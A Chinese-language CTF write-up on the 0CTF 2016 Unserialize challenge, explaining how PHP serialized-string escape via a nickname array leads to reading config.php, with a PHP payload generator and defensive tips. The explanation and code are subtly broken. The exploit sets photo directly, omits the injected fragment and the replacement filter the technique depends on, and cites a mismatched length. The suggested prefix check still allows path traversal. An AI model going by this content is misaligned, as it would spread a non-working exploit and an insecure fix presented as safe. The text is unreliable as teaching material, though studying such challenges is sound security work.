从0CTF 2016 Unserialize看PHP字符逃逸:一个nickname数组如何“撑开”序列化字符串读config.php

在CTF竞赛中,PHP反序列化漏洞一直是高频考点,而0CTF 2016的这道Unserialize题目则展示了如何利用字符逃逸技术实现关键文件读取。本文将深度剖析这一经典案例,聚焦于 nickname 数组如何通过精心构造的字符串长度欺骗机制,最终实现 config.php 的读取。

1. 漏洞场景与技术背景

这道题目的核心在于PHP序列化字符串的解析机制与过滤规则之间的微妙冲突。当系统对用户输入进行过滤后再进行序列化存储,就可能出现字符逃逸漏洞。具体到本题,存在以下几个关键点:

  • 数据流路径 :用户通过 update.php 提交个人资料 → 数据被序列化存储 → profile.php 读取并反序列化数据 → 通过 file_get_contents 读取 photo 字段指定的文件
  • 关键过滤规则
    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    
  • 漏洞触发点 profile.php 中的危险操作
    $photo = base64_encode(file_get_contents($profile['photo']));
    

这种场景下,攻击者需要找到方法让 photo 字段指向 config.php ,但直接修改会被过滤规则拦截。这就是字符逃逸技术大显身手的地方。

2. 字符逃逸的核心原理

字符逃逸(String Escape)的本质是通过精心构造输入,使得序列化字符串的解析边界发生偏移。在本题中,攻击者利用 nickname 数组实现这一目标,具体原理如下:

  1. 序列化字符串结构 :PHP序列化后的字符串包含严格的长度声明,如 s:5:"hello" 表示长度为5的字符串
  2. 长度欺骗机制 :当过滤规则修改了原始输入但未调整序列化字符串中的长度声明时,就会导致解析器错误判断字段边界
  3. 数组的特殊优势 :使用数组可以更精确地控制填充量,因为数组元素的序列化格式更复杂,更容易产生长度计算偏差

下表对比了普通字符串和数组在序列化中的差异:

输入类型 示例输入 序列化结果
字符串 "test" s:4:"test"
数组 array("test") a:1:{i:0;s:4:"test";}

3. 漏洞利用的数学计算

要实现精确的字符逃逸,需要计算所需的填充长度。在本题中,攻击者需要:

  1. 确定目标结构 :让序列化后的字符串将 photo 字段解析为 config.php
  2. 计算逃逸距离 :需要覆盖掉原始结构中 photo 字段前的部分
  3. 构造nickname数组 :通过特定长度的 where 字符串填充,使得最终解析时恰好将 config.php 纳入 photo 字段

具体计算过程如下:

// 原始结构
O:1:"b":4:{
  s:5:"phone";s:11:"12345678901";
  s:5:"email";s:10:"123@qq.com";
  s:8:"nickname";a:1:{i:0;s:170:"[填充内容]";}
  s:5:"photo";s:10:"config.php";
}

// 需要让解析器将以下部分误认为photo字段的值
";}s:5:"photo";s:10:"config.php";}

注意:实际计算中需要考虑转义字符和序列化格式的每个字符,包括引号、分号等标点符号的占用。

4. 完整利用链构建

基于上述分析,我们可以构建完整的利用代码:

<?php
class Exploit {
    public $phone = "12345678901";
    public $email = "123@qq.com";
    public $nickname = array(
        "wherewherewherewherewherewherewherewherewherewhere".
        "wherewherewherewherewherewherewherewherewherewhere".
        "wherewherewherewherewherewherewherewherewherewhere"
    );
    public $photo = "config.php";
}

$payload = serialize(new Exploit());
echo $payload;
?>

这段代码生成的序列化字符串中, nickname 数组的填充字符串长度经过精确计算,能够:

  1. 满足过滤规则(仅含字母数字下划线且长度不超过10的检查被数组绕过)
  2. 在反序列化时造成字符串边界误判
  3. 最终使系统读取 config.php 而非预设的图片文件

5. 防御方案与最佳实践

针对这类字符逃逸漏洞,开发者可以采取以下防护措施:

  • 输入验证与输出编码

    • 对所有用户输入进行严格的白名单验证
    • 对特殊字符进行适当的转义处理
  • 序列化处理改进

    • 避免直接反序列化用户可控数据
    • 使用 json_encode/json_decode 替代 serialize/unserialize
    • 实现自定义的序列化处理器
  • 文件操作安全

    // 不安全的做法
    file_get_contents($user_controlled_path);
    
    // 改进方案
    $allowed_paths = ['upload/'];
    if (str_starts_with($path, $allowed_paths[0])) {
        file_get_contents($path);
    }
    

在实际开发中,我曾遇到过一个类似案例:系统允许用户上传自定义主题,但主题配置使用序列化存储。攻击者通过精心构造的主题名称实现了类似的字符逃逸,最终读取到了数据库凭证。这个教训让我深刻意识到,任何时候处理用户可控的序列化数据都需要格外小心。

更多推荐